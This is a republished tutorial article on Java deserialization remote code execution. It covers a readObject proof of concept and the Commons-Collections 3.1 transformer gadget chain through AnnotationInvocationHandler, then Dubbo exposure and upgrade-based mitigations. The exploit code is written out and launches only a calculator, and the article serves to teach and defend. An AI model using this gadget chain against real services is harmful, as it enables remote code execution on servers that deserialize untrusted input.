How Java Deserialization Enables Remote Code Execution – Exploit Chains and Fixes

This article explains the mechanics of Java deserialization vulnerabilities, demonstrates how malicious payloads can trigger Runtime.exec via Commons‑Collections transformers and AnnotationInvocationHandler, showcases full exploit code, discusses Dubbo‑specific issues, and provides practical mitigation strategies.

Java Backend Technology
Java Backend Technology
Java Backend Technology
How Java Deserialization Enables Remote Code Execution – Exploit Chains and Fixes

Introduction

According to the latest Dubbo vulnerability disclosure, every Dubbo version is affected by a deserialization flaw that can lead to remote code execution.

Deserialization Vulnerability Basics

Java can execute external commands using the Runtime class. For example, on macOS:

Runtime.getRuntime().exec("open -a Calculator");

When a class implements Serializable, its instances can be written to a byte stream and later reconstructed via deserialization. If the class defines a readObject method, that method is invoked during deserialization and can execute arbitrary code.

Proof‑of‑Concept Payload

public class App implements Serializable {
    private String name;
    private static final long serialVersionUID = 7683681352462061434L;
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        System.out.println("readObject name is " + name);
        Runtime.getRuntime().exec("open -a Calculator");
    }
    public static void main(String[] args) throws Exception {
        App app = new App();
        app.name = "程序通事";
        FileOutputStream fos = new FileOutputStream("test.payload");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(app);
        os.close();
        FileInputStream fis = new FileInputStream("test.payload");
        ObjectInputStream ois = new ObjectInputStream(fis);
        App objectFromDisk = (App) ois.readObject();
        System.out.println("main name is " + objectFromDisk.name);
        ois.close();
    }
}

Running the program prints the names and successfully opens the Calculator application.

Execution Conditions

The target application must have the vulnerable class on its classpath; otherwise a ClassNotFoundException is thrown.

The readObject method must be invoked without any validation.

Construct a malicious payload and wrap it layer by layer. Send the payload to the server; the server’s deserialization triggers readObject . The payload’s readObject executes a chain of transformers. The final transformer invokes Runtime.exec , achieving remote code execution.

Commons‑Collections Exploit

Adding the vulnerable commons-collections:commons-collections:3.1 dependency enables a classic gadget chain.

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

Commons‑Collections provides three transformer implementations:

ConstantTransformer
InvokerTransformer
ChainedTransformer

Example of a transformer chain that ultimately calls Runtime.exec("open -a Calculator"):

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"})
};
Transformer chain = new ChainedTransformer(transformers);

By decorating a Map with TransformedMap, the put or Map.Entry.setValue operation triggers the transformer chain:

Map<String, String> inner = new HashMap<>();
inner.put("value", "you");
Map transformed = TransformedMap.decorate(inner, null, chain);

The sun.reflect.annotation.AnnotationInvocationHandler class can hold the transformed map and is itself serializable. Although it has package‑private visibility, it can be instantiated via reflection:

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object payload = ctor.newInstance(Target.class, transformed);

Full exploit code (including serialization to test.payload and deserialization that triggers execution) is provided in the source.

Fixes for Commons‑Collections

In JDK 8, AnnotationInvocationHandler no longer calls memberValue.setValue, breaking the gadget. Starting with Commons‑Collections 3.2.2, unsafe serialization is disabled by default, and InvokerTransformer.readObject now validates the payload, throwing UnsupportedOperationException when unsafe deserialization is disabled.

Dubbo Deserialization Vulnerability

Dubbo suffers from the same deserialization issue, but its exploit chain differs. The vulnerability was partially fixed in Dubbo 2.7.7 (released 2020‑06‑22), though older versions (e.g., 2.5.6) remain vulnerable.

Mitigation Recommendations

Upgrade to the latest safe versions of Commons‑Collections (≥ 3.2.2) and Dubbo (≥ 2.7.7).

Enable the unsafe‑serialization switch only when absolutely necessary.

Adopt a defense‑in‑depth approach: use a security manager, restrict deserialization of untrusted classes, and monitor network traffic for suspicious payloads.

For cloud‑deployed Dubbo services, leverage provider‑level traffic inspection to block exploit attempts.

References

http://blog.nsfocus.net/deserialization/

http://www.beesfun.com/2017/05/07/JAVA反序列化漏洞知识点整理/

https://xz.aliyun.com/t/2041

https://xz.aliyun.com/t/2028

https://www.freebuf.com/vuls/241975.html

http://rui0.cn/archives/1338

http://apachecommonstipsandtricks.blogspot.com/2009/01/transformedmap-and-transformers-plug-in.html

https://security.tencent.com/index.php/blog/msg/97

https://security.tencent.com/index.php/blog/msg/131

https://paper.seebug.org/1264/#35

Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

JavaDubboDeserializationExploitCommons-Collections
Java Backend Technology
Written by

Java Backend Technology

Focus on Java-related technologies: SSM, Spring ecosystem, microservices, MySQL, MyCat, clustering, distributed systems, middleware, Linux, networking, multithreading. Occasionally cover DevOps tools like Jenkins, Nexus, Docker, and ELK. Also share technical insights from time to time, committed to Java full-stack development!

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.